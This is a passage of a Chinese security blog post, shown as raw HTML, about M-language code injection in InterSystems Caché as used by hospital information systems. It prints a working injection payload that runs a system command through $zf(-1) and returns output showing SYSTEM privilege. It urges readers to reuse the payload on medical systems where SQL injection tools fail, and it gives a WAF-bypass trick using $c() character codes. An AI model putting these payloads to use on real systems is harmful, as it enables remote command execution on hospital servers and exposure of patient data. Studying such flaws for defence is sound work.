248, 250);display: block;color: rgb(36, 41, 46);border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;border-radius: 12px;padding: 20px;margin: 20px 0px;overflow-x: auto;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 14px;line-height: 1.6;text-indent: 0px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 15px;word-break: normal;overflow-wrap: normal;"><code data-raw-code="XECUTE &amp;quot;d ##class(&amp;quot;_pClassName_&amp;quot;).&amp;quot;_pClassMethod_&amp;quot;(args)&amp;quot;
" style="background: none;border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;padding: 0px;color: inherit;font-family: inherit;font-size: inherit;box-shadow: none;display: block;overflow-x: auto;white-space: nowrap;line-height: inherit;"><span style="color: rgb(36, 41, 46);font-weight: inherit;"><span leaf="">XECUTE</span></span><span style="color: rgb(3, 47, 98);font-weight: inherit;"><span leaf="">&#34;d ##class(&#34;</span></span><span leaf="">_pClassName_</span><span style="color: rgb(3, 47, 98);font-weight: inherit;"><span leaf="">&#34;).&#34;</span></span><span leaf="">_pClassMethod_</span><span style="color: rgb(3, 47, 98);font-weight: inherit;"><span leaf="">&#34;(args)&#34;</span></span></code></pre><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">而在传统的MVC架构中，这个过程可能需要Controller，路由映射来协助完成。</span></p><pre data-language="JavaScript" style="white-space: pre-wrap;background-color: rgb(246, 248, 250);display: block;color: rgb(36, 41, 46);border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;border-radius: 12px;padding: 20px;margin: 20px 0px;overflow-x: auto;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 14px;line-height: 1.6;text-indent: 0px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 15px;word-break: normal;overflow-wrap: normal;"><code data-raw-code="@(&amp;quot;/GetPatient&amp;quot;)
method1
@(&amp;quot;/DeletePatient&amp;quot;)
method2
...
" style="background: none;border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;padding: 0px;color: inherit;font-family: inherit;font-size: inherit;box-shadow: none;display: block;overflow-x: auto;white-space: nowrap;line-height: inherit;"><span leaf="">@(</span><span style="color: rgb(3, 47, 98);font-weight: inherit;"><span leaf="">&#34;/GetPatient&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">method1</span><span leaf=""><br/></span><span leaf="">@(</span><span style="color: rgb(3, 47, 98);font-weight: inherit;"><span leaf="">&#34;/DeletePatient&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">method2</span><span leaf=""><br/></span><span leaf="">...</span></code></pre><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">相当于将Java反射从后端搬到了前端来，省去了配置路由等等的工作过程，为开发省去了代码量。而眼下这套医疗系统，貌似使用了同样的手法；那么，代价是什么呢？ 分析系统环境请教AI大人后，得到后端的代码可能如下:</span></p><p nodeleaf="" style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4027777777777778" data-type="png" data-w="1080" style="max-width: 100%;height: auto;display: block;margin: 20px auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.15) 0px 4px 12px;" data-imgfileid="100038779" src="https://wechat2rss.xlab.app/img-proxy/?k=b9e3d2a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdUJC3yMicDNsSzViaNXOpXtlnFPylMvP1OE4xujIumDThWibotO7P1mIOiarZW6vPsbMAt80NDicqiaJruHt3UicGnXuhtTm3CTWVjso0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">有这么一群神通广大的贵Coder，没有做插座的任何“断电保护”，导致房间失火。</span></p><p nodeleaf="" style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4613259668508287" data-type="png" data-w="724" style="max-width: 100%;height: auto;display: block;margin: 20px auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.15) 0px 4px 12px;" data-imgfileid="100038781" src="https://wechat2rss.xlab.app/img-proxy/?k=b75cb900&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdVniae6UT8Vq12leIMjv7aYYLeoYJkTCjKZdu3cqdyr5CLbnZu9mwcOp262IaJmFWaB5xsXACfDiaXibTnbfszibPibdLkgI3KGHAic4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">测试发现系统在进入函数调用、数据查询前，对用户输入没有任何过滤，当hospid等于</span><code style="background-color: rgba(27, 31, 35, 0.05);color: rgb(36, 41, 46);border-radius: 3px;padding: 2px 4px;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 0.9em;display: inline;vertical-align: baseline;"><span leaf="">&#34;);s a=&#34;(</span></code><span leaf="">，返回的响应是正常数据。</span></p><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">这个时候对应位置的代码就变成了:</span></p><p nodeleaf="" style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.0824074074074074" data-type="png" data-w="1080" style="max-width: 100%;height: auto;display: block;margin: 20px auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.15) 0px 4px 12px;" data-imgfileid="100038778" src="https://wechat2rss.xlab.app/img-proxy/?k=62667ca1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdUKBbaibicx1Lbic3ZpgrIic27xsBw7V83DXn1Qzstq5qM14OXuEoTYq7xum3vJg6T7S6gT9Ak9ARKxXuhV1zJ3dGOlrH9N03Ufibsw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: left;"><span leaf="">在</span><code style="background-color: rgba(27, 31, 35, 0.05);color: rgb(36, 41, 46);border-radius: 3px;padding: 2px 4px;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 0.9em;display: inline;vertical-align: baseline;word-break: break-all;"><span leaf="">s　myMethod　=　&#34;d　##class(&#34;_pClassName_&#34;).&#34;_pClassMethod_&#34;(&#34;_type_&#34;,&#34;&#34;);</span></code><span leaf="">和</span><code style="background-color: rgba(27, 31, 35, 0.05);color: rgb(36, 41, 46);border-radius: 3px;padding: 2px 4px;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 0.9em;display: inline;vertical-align: baseline;"><span leaf="">s a =(&#34;&#34;)&#34;</span></code><span leaf="">之间，为我们留下了代码注入空间，这时候只需要使用以上表格的对应M代码来完成注入即可。</span></p><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: left;"><span leaf="">Payload即</span><code style="background-color: rgba(27, 31, 35, 0.05);color: rgb(36, 41, 46);border-radius: 3px;padding: 2px 4px;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 0.9em;display: inline;vertical-align: baseline;word-break: break-all;"><span leaf="">&#34;)　s　f=&#34;tmp.txt&#34;　d　$zf(-1,&#34;whoami　&gt;　&#34;_f) s t=##class(%Stream.FileCharacter).%New()　d　t.LinkToFile(f) w &#34;Result:[&#34;,t.Read(),&#34;]&#34; d t.%Close() n o s o=##class(%File).Delete(f) s a=(&#34;</span></code></p><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">进行拆解:</span></p><p nodeleaf="" style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.26666666666666666" data-type="png" data-w="1080" style="max-width: 100%;height: auto;display: block;margin: 20px auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.15) 0px 4px 12px;" data-imgfileid="100038780" src="https://wechat2rss.xlab.app/img-proxy/?k=6c5e3991&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdUmwgXWIjdIMhpq9HZ5gnUZmSRjkwf0z9gOvvEcovUlQdhYqQZvZtJPiaNNbWwfIhDBcgYICOUfNnJCrMMNGNkicMc8KQ9QUPEYc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">获得响应</span></p><pre data-language="http" style="white-space: pre-wrap;background-color: rgb(246, 248, 250);display: block;color: rgb(36, 41, 46);border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;border-radius: 12px;padding: 20px;margin: 20px 0px;overflow-x: auto;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 14px;line-height: 1.6;text-indent: 0px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 15px;word-break: normal;overflow-wrap: normal;"><code data-raw-code="HTTP/1.1 200 OK

Result:[nt authority\system
]{data:{正常数据}
" style="background: none;border-width: medium;border-style: none;border-color: currentcolor;border-image: initial;padding: 0px;color: inherit;font-family: inherit;font-size: inherit;box-shadow: none;display: block;overflow-x: auto;white-space: nowrap;line-height: inherit;"><span leaf="">HTTP/1.1 200 OK</span><span leaf=""><br/></span><span leaf="">Result:[nt authority\system</span><span leaf=""><br/></span><span leaf="">]{data:{正常数据}</span></code></pre><p style="font-size: 20px;font-weight: 700;color: rgb(44, 62, 80);margin: 40px 0px 20px;padding: 0px 0px 10px 12px;border-left: 6px solid rgb(52, 152, 219);border-bottom: 1px solid rgb(236, 240, 241);line-height: 1.4;"><span leaf="">0x06 薛定谔的注入-从SQL注入到代码注入的判断</span></p><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">在我此前的经验中，对于一般参数的sql注入判断也是通过逐次+1输入双引号/单引号来做的，这次误打误撞实现了代码注入，其实有很大运气成分；问了AI，在M语言中，想要在字符串中表示一个双引号，需要用另一个双引号来转义，这就成为了和我的经验同样的效果。为了便于理解，接下来被转义的双引号我使用\&#34;来表示</span></p><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: left;"><span leaf="">当我输入</span><code style="background-color: rgba(27, 31, 35, 0.05);color: rgb(36, 41, 46);border-radius: 3px;padding: 2px 4px;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 0.9em;display: inline;vertical-align: baseline;"><span leaf="">2&#34;</span></code><span leaf="">时，</span><code style="background-color: rgba(27, 31, 35, 0.05);color: rgb(36, 41, 46);border-radius: 3px;padding: 2px 4px;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 0.9em;display: inline;vertical-align: baseline;word-break: break-all;"><span leaf="">s　myMethod　=　&#34;d　##class(&#34;_pClassName_&#34;).&#34;_pClassMethod_&#34;(&#34;_type_&#34;,&#34;2&#34;&#34;)&#34;</span></code><span leaf="">,语句中原本用于闭合用户输入的右双引号，被用户输入的双引号转义为了一个字符串中的双引号。这里的字符串就变成了</span><code style="background-color: rgba(27, 31, 35, 0.05);color: rgb(36, 41, 46);border-radius: 3px;padding: 2px 4px;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 0.9em;display: inline;vertical-align: baseline;"><span leaf="">2&#34;</span></code><span leaf="">,而XEXCUTE执行时的语句就变成了</span><code style="background-color: rgba(27, 31, 35, 0.05);color: rgb(36, 41, 46);border-radius: 3px;padding: 2px 4px;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 0.9em;display: inline;vertical-align: baseline;word-break: break-all;"><span leaf="">d　##class(&#34;_pClassName_&#34;).&#34;_pClassMethod_&#34;(&#34;_type_&#34;,&#34;2\&#34;)</span></code><span leaf="">，能发现后面还缺一个引号闭合语句，导致了报错</span></p><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: left;"><span leaf="">所以当我输入</span><code style="background-color: rgba(27, 31, 35, 0.05);color: rgb(36, 41, 46);border-radius: 3px;padding: 2px 4px;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 0.9em;display: inline;vertical-align: baseline;"><span leaf="">2&#34;&#34;</span></code><span leaf="">，</span><code style="background-color: rgba(27, 31, 35, 0.05);color: rgb(36, 41, 46);border-radius: 3px;padding: 2px 4px;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 0.9em;display: inline;vertical-align: baseline;word-break: break-all;"><span leaf="">&#34;d　##class(&#34;_pClassName_&#34;).&#34;_pClassMethod_&#34;(&#34;_type_&#34;,&#34;2&#34;&#34;&#34;)&#34;</span></code><span leaf="">,XEXCUTE执行时的语句就变成了</span><code style="background-color: rgba(27, 31, 35, 0.05);color: rgb(36, 41, 46);border-radius: 3px;padding: 2px 4px;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 0.9em;display: inline;vertical-align: baseline;word-break: break-all;"><span leaf="">d　##class(&#34;_pClassName_&#34;).&#34;_pClassMethod_&#34;(&#34;_type_&#34;,&#34;2\&#34;&#34;)</span></code><span leaf="">,后面同样存在一个引号闭合语句，编译通过。因此造成了SQL注入的错觉。</span></p><p style="font-size: 20px;font-weight: 700;color: rgb(44, 62, 80);margin: 40px 0px 20px;padding: 0px 0px 10px 12px;border-left: 6px solid rgb(52, 152, 219);border-bottom: 1px solid rgb(236, 240, 241);line-height: 1.4;"><span leaf="">0x07 常见利用</span></p><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">当小伙伴们在医疗系统（尤其是东华）测试遇到引号闭合但是sql注入换多个payload，sqlmap跑不出结果时，不妨试试M代码注入。</span></p><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">在遇到类似的回显报错时，可以直接使用我的payload尝试。</span></p><p nodeleaf="" style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.0962962962962963" data-type="png" data-w="1080" style="max-width: 100%;height: auto;display: block;margin: 20px auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.15) 0px 4px 12px;" data-imgfileid="100038777" src="https://wechat2rss.xlab.app/img-proxy/?k=c2a64c8d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdWCMgdcQicibdxSHxU4yXVDcx3A4g5csLlLzrRDSA7t6EXBSSJfzzT2ZRt6vtDBMVQPvp5Askias0Txu5Hcalpt1ASWtMYUAK2eRo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">无回显出网时，可以使用以下Payload进行测试</span></p><p nodeleaf="" style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.08148148148148149" data-type="png" data-w="1080" style="max-width: 100%;height: auto;display: block;margin: 20px auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.15) 0px 4px 12px;" data-imgfileid="100038784" src="https://wechat2rss.xlab.app/img-proxy/?k=f129a166&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdX23AsGvWLrcWFVd5kqoicS58PW8aFWeJ0icrcJqCknQmVo5MMZFiceibUp6VL6o36YwZReVMbUXBYShbWX1IG8boB64ttNM32Kr1A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">利用M语言来进行文件读取</span></p><p nodeleaf="" style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.05277777777777778" data-type="png" data-w="1080" style="max-width: 100%;height: auto;display: block;margin: 20px auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.15) 0px 4px 12px;" data-imgfileid="100038782" src="https://wechat2rss.xlab.app/img-proxy/?k=24466674&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdWUWJxpeuFrU4DrQtM8bzuCdibMwYibOaCK4WXRCmNhy1qvn1VurmJiclG0cCq2AJWjEKe7qB4J5mPrQfQHK4SZVCELJmWODd5Fog%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">数据库操作</span></p><p nodeleaf="" style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.08055555555555556" data-type="png" data-w="1080" style="max-width: 100%;height: auto;display: block;margin: 20px auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.15) 0px 4px 12px;" data-imgfileid="100038783" src="https://wechat2rss.xlab.app/img-proxy/?k=938441c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdVH5UqcXl4naxBjibx9vXB9fTWibLa1BYXsZ3e95BgWrjGBotMiaLicDibbgZDkkRdDibCQAx1kZ8jdOa4R7NyjGykEeHDbWjEw0s3wk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">WAF绕过可用到的特性</span></p><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">Caché所使用的连接符:</span><code style="background-color: rgba(27, 31, 35, 0.05);color: rgb(36, 41, 46);border-radius: 3px;padding: 2px 4px;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 0.9em;display: inline;vertical-align: baseline;"><span leaf="">_</span></code><span leaf=""> 从ASCII码获取字符函数: </span><code style="background-color: rgba(27, 31, 35, 0.05);color: rgb(36, 41, 46);border-radius: 3px;padding: 2px 4px;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 0.9em;display: inline;vertical-align: baseline;"><span leaf="">$c()</span></code></p><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">例如SET关键词被过滤，就可以用</span><code style="background-color: rgba(27, 31, 35, 0.05);color: rgb(36, 41, 46);border-radius: 3px;padding: 2px 4px;font-family: &#34;SF Mono&#34;, Monaco, Inconsolata, &#34;Roboto Mono&#34;, Consolas, &#34;Courier New&#34;, monospace;font-size: 0.9em;display: inline;vertical-align: baseline;"><span leaf="">$c(83)_$c(101)_$c(116)</span></code><span leaf="">代替。</span></p><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf="">今天关于Caché的分享就到这里了。</span></p><p nodeleaf="" style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0151515151515151" data-type="png" data-w="396" style="max-width:100%;height:228px;display:block;margin:20px auto;border-radius:8px;box-shadow:rgba(0, 0, 0, 0.15) 0px 4px 12px;width:225px;" data-imgfileid="100038785" src="https://wechat2rss.xlab.app/img-proxy/?k=5ccedbd2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdVXBjjn4icxBPyOLLib4QGia0BxE7paiacCstDt8yNJODY07xHpLDFHO6NA1iaZZh9on0nSH3WDr59H6AmNcyDQiabcY09Fytv6Npxf8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 20px;font-weight: 700;color: rgb(44, 62, 80);margin: 40px 0px 20px;padding: 0px 0px 10px 12px;border-left: 6px solid rgb(52, 152, 219);border-bottom: 1px solid rgb(236, 240, 241);line-height: 1.4;"><span leaf="">0x08 参考链接</span></p><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="color: rgb(87, 107, 149);text-decoration: none;font-weight: 500;" href="https://mp.weixin.qq.com/s?__biz=Mzg2MjA1NTA5Ng==&amp;mid=2247488079&amp;idx=1&amp;sn=5f7008f67cc5c96e28d4239137448a73&amp;scene=21#wechat_redirect" textvalue="" linktype="text" data-linktype="2"><a href="https://mp.weixin.qq.com/s/8W4gNjDbdB0GnWE4QNzIQQ" target="_blank">https://mp.weixin.qq.com/s/8W4gNjDbdB0GnWE4QNzIQQ</a></a></span></p><p style="margin: 20px 0px;color: rgb(51, 51, 51);font-size: 16px;line-height: 1.75;text-align: justify;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="color: rgb(87, 107, 149);text-decoration: none;font-weight: 500;" href="https://mp.weixin.qq.com/s?__biz=Mzk5MDAxNDg2OA==&amp;mid=2247483717&amp;idx=1&amp;sn=c11ff924ea12c33b57c694534dda14eb&amp;scene=21#wechat_redirect" textvalue="" linktype="text" data-linktype="2"><a href="https://mp.weixin.qq.com/s/stSlpohH3Fl8_9qayYfihQ" target="_blank">https://mp.weixin.qq.com/s/stSlpohH3Fl8_9qayYfihQ</a></a></span></p></div></div></div></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 15px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;z-index: 2;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 2px;max-width: 100%;background: rgb(255, 255, 255);border-radius: 13px;border-width: 1px;border-style: solid;border-color: rgb(45, 133, 224);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 24px;padding-left: 24px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-radius: 11px;border-width: 1px;border-style: dotted;border-color: rgb(45, 133, 224);text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="max-width: 100%;font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(45, 133, 224);line-height: 22px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">往期推荐</span></p></div></div></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 0px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="max-width: 100%;width: 474px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 14px 8px 2px;max-width: 100%;width: 474px;background: rgb(255, 255, 255);border-radius: 5px;border-width: 1px;border-style: solid;border-color: rgb(74, 138, 218);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 3px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;width: 456px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 12px;padding-left: 12px;max-width: 100%;width: 450px;text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247516589&amp;idx=1&amp;sn=107da3b45e88255f240504d033ebde7f&amp;scene=21#wechat_redirect" textvalue="TscanPlus-一款红队自‍动化工具" data-itemshowtype="0" linktype="text" data-linktype="2">TscanPlus-一款红队自动化工具</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499902&amp;idx=1&amp;sn=59cba8d980b4ecb0deefff99edaabd4d&amp;chksm=ce5de21ff92a6b09a8972a0144557b0099e443aa8e018b17151c816fc7f08f3615ecb22617fc&amp;scene=21#wechat_redirect" textvalue="潮影在线免杀平台上线了" data-itemshowtype="0" linktype="text" data-linktype="2">潮影在线免杀平台上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498466&amp;idx=1&amp;sn=085c15679436dedb06a179ca8d47951a&amp;chksm=ce5dd883f92a5195ef74ac517741f6d3da0da40b5501d72016e52cb70344904bb85b8aef65ba&amp;scene=21#wechat_redirect" textvalue="自动化渗透测试工具开发实践" data-itemshowtype="0" linktype="text" data-linktype="2">自动化渗透测试工具开发实践</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247492640&amp;idx=1&amp;sn=43b1991dc5628eab322923083fde8d70&amp;chksm=ce5dc641f92a4f57ffb18e2977644b1f977fcc5e0eccdf10956d3ae4ce70dc95024500631e89&amp;scene=21#wechat_redirect" textvalue="【红蓝对抗】利用CS进行内网横向" data-itemshowtype="0" linktype="text" data-linktype="2">【红蓝对抗】利用CS进行内网横向</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498344&amp;idx=1&amp;sn=3679330363ff6890166b09f6a502f769&amp;chksm=ce5dd809f92a511f6066fcbb12fb5c1dc8c2642e4e2690dad64d76cc6f9247eae356d16f5810&amp;scene=21#wechat_redirect" textvalue="一个Go版(更强大)的TideFinger" data-itemshowtype="0" linktype="text" data-linktype="2">一个Go版(更强大)的TideFinger</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 